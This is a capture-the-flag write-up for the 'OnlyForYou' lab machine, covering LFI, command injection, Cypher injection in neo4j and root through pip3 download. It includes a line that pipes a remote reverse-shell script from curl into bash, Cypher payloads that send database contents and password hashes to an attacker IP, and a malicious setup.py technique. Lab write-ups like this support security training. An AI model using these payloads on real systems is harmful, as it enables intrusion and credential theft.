OnlyForYou Machine Writeup

5 minute read

OnlyForYou

OnlyForYou is a medium Linux machine that includes LFI exploitation, code execution, cypher injection in neo4j database, and source code review.

Recon

First, let’s start with nmap port scanning.

nmap

We can see that port 80 is open, so let’s check it.

only4you

We can’t find anything interesting, so let’s do subdomain enumeration.

wfuzz

We can see beta.only4you.htb subdomain, so let’s check it.

LFI

We can see that we have source code, so let’s download and unzip it.

beta-source-code

If we check app.py, the /download route looks interesting.

bet-app

It sends a post request with image parameter that contains the image’s filename.

If the filename contains .. and ../, it redirects the user to /list.

So If we navigate to /list and click any button, it redirects to /download.

beta-list

Let’s intercept the request to Burp and play with image parameter.

beta-download

We can use /etc/passwd to bypass .. filter and it shows the following result:

passwd

As we know the running server is nginx, we can try to read nginx.conf.

nginx-conf

We can see that we have /etc/nginx/sites-enabled/ let’s read the /default.

nginx-default

We have app.py in beta folder, so let’s read app.py using /var/www/only4you/app.py.

only4you-app

We can see above that the code imports the form library which is not a python built-in library, so a file with the library name form.py must be found on the server. Let’s read it.

only4you-form

Command injection

As we can see the domain of the email parameter is appended to the dig command line, and so it indicates a command injection vulnerability.

So let’s first fill out the form of contact and intercept the request in Burp.

only4you-contact

Now let’s try to test the email parameter with test@test.com|ping 10.10.x.x.

command-injection-test-1

It responds to our listener which means that the code is vulnerable to command injection.

command-injection-test-2

Now let’s try to get a reverse shell but If we inject the shell directly in the email parameter it won’t work, so we can first create a file with our shell:

revshel-payload

The we can call it using test@test.com|curl http://10.10.16.47/revshell.sh|bash.

revshell-payload

Now we get a reverse shell as seen below.

revshell

Shell as john

When we check the machine manually, we can find the following open ports.

netstat

Ports 3000, 8001 look interesting, so let’s forward these ports to our machine using chisel so we can check the services running on them.

Chisel is a fast TCP tunnel, transported over HTTP. A single executable including both client and server. Written in Golang. Chisel is mainly useful for passing through firewalls.

Setting up a chisel listener on our machine:

chisel-server

Forwarding the required ports on the server machine:

chisel-client

Now we check if there’s a web service running on port 3000 by going to the following URL in our browser “127.0.0.1:3000”.

As we can see the web service running in port 3000 is Gogs.

gogs-3000

Checking port 8001, we can see a login page but we don’t have any login credentials.

port-8001-login

If we try admin:admin we will be navigated to the admin dashboard.

port-8001

We can see a neo4j database.

Neo4j is a graph database management system developed by Neo4j, Inc. The data elements Neo4j stores are nodes, edges connecting them, and attributes of nodes and edges.

so let’s try to inject different payloads in the search parameter to retrieve data using hacktricks.

search-func

Note that the payloads first need to be URL encoded before sending it.

Payload #1 (extract database version):

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.47:80/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // .

neo4j-version-burp

We can setup a simple HTTP server using python to receive the payload response.

neo4j-version

Payload #2 (extract labels aka tables):

``‘OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM ‘http://10.10.16.47:80/?label=’+label as l RETURN 0 as _0 //`.

neo4j-tables-burp

neo4j-tables

Payload #2 (extract properties of user label):

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.47:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //.

neo4j-creds-burp

neo4j-creds

We can see hashed password for the user john. We can crack it using crackstation.

crackstation

Now we can login using SSH as john:ThisIs4You and read user.txt.

user-flag

Shell as root

Let’s check the sudo permissions allowed to our user john.

sudo-priv

As seen above, we can download .tar.gz files from Gogs using pip3 without root privileges.

pip download does the same downloading as pip install, but instead of installing the dependencies, it collects the downloaded distributions into the directory provided (defaulting to the current directory).

From the previous image we can see that the download privileges are affecting the Gogs web service running on port 3000. Let’s try to john’s login credentials john:ThisIs4You in the sign in page of the Gogs website.

As seen below, we have access to a git workspace, so we can upload .tar.gz files there.

gogs-dashboard

Now if we search for pip3 download exploit, we will find that pip download vulnerable to code execution.

First, we need to download this repository and edit setup.py file to execute our commands from RunCommand function.

The only command we are using is chmod to change the suid of bash file.;

root-exploit

Then, we need to run python3 -m build to generate .tar.gz file.

python3-build

Now we should create a new repository on Gogs.

root-repo

root-repo-commands

Finally, we can push our .tar.gz file to the newly created repository.

root-priv-2

Now we have our file in root repository we just created.

root-repo-2

Let’s download the tar file using pip3 which will in turn unzip and run the setup.py file.

root-priv-1

Now Let’s run /bin/bash and use the -p option to run it in privileged mode to be able to read root.txt.

root-flag